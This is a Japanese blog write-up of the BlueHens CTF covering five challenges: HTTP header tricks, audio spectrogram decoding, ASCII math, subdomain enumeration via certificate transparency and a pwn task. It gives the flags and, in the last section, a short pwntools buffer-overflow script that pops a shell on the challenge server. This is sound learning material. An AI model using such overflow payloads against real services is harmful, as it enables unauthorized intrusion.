■ 概要
10月最後の週末に行われたBlueHens CTFのメモ。welcome問を除いた5問に対するアプローチや解法などをまとめる。最終順位は188位(チーム:4r0wana)。
■ Headspace
ブラウザで指定のURLにアクセスすると、「flag.org」を経由しないアクセスは拒否する旨が表示されていた。
curlでリファラーを設定してみる。次はエージェントが「stealthmodeactive」じゃないからダメと言われる。
今度はプロトコルが違うと言われる。
プロトコルに「PATCH」を指定すると、フラグが得られた。
フラグ:UDCTF{0uts1d3_t4h_m1nd}
■ Audio Salad
「audiosalad.wav」という音声ファイルが与えられる。Sonic Visualiserで開き、スペクトログラムを表示すると、16進文字列のようなものが確認できる。
問題タイトルより、ascii文字列に変換後、シーザー暗号を使えばよいことが分かる。
フラグ:UDCTF{13af_m3_a10n3_br0_R5GwtZ}
■ mountain math
いくつかの計算問題が記載されたPDFファイルが渡される。問題の意図がよく分からなかったが、それぞれの計算結果をascii文字に変換し、「_」で区切ったものがフラグであった。
フラグ:UDCTF{1m_2m4rt3r_th4n_f1fth_gr4dr}
■ The Internet Never Forgets
「af08c7035951559b.tk」というドメインが与えられる。とりあえずググると、「Subdomain Finder」というページがヒットする。ページ右下の「Show last 2000… 」のページを開く。
ページ内検索すると、該当のドメインが見つかった。
サブドメインの情報が表示され、このうちの一つがフラグであった。
フラグ:udctf-subd0m4in-3num3rati0n-u5ing-c3rt1f1cat3-tr4nsp4r3ncy
■ Intro To Pwn 1
問題文中のリンクを参考に、以下のコードを作成した。コードを実行すると、シェルが取れた。
from pwn import * p = remote('0.cloud.chals.io', 19595)payload = b'' payload += (0x118-0xc) * b'A' payload += p32(0x1337)
p.sendline(payload) p.interactive()
UDCTF{ez_pz_but_we_all_start_somewhere}
■ 感想
久しぶりのCTFで、いい気分転換になりました。相変わらず全く歯が立ちませんでしたが、スキルアップに適した問題がたくさん出題された印象を受けたので、時間を見つけて復習したいと思います。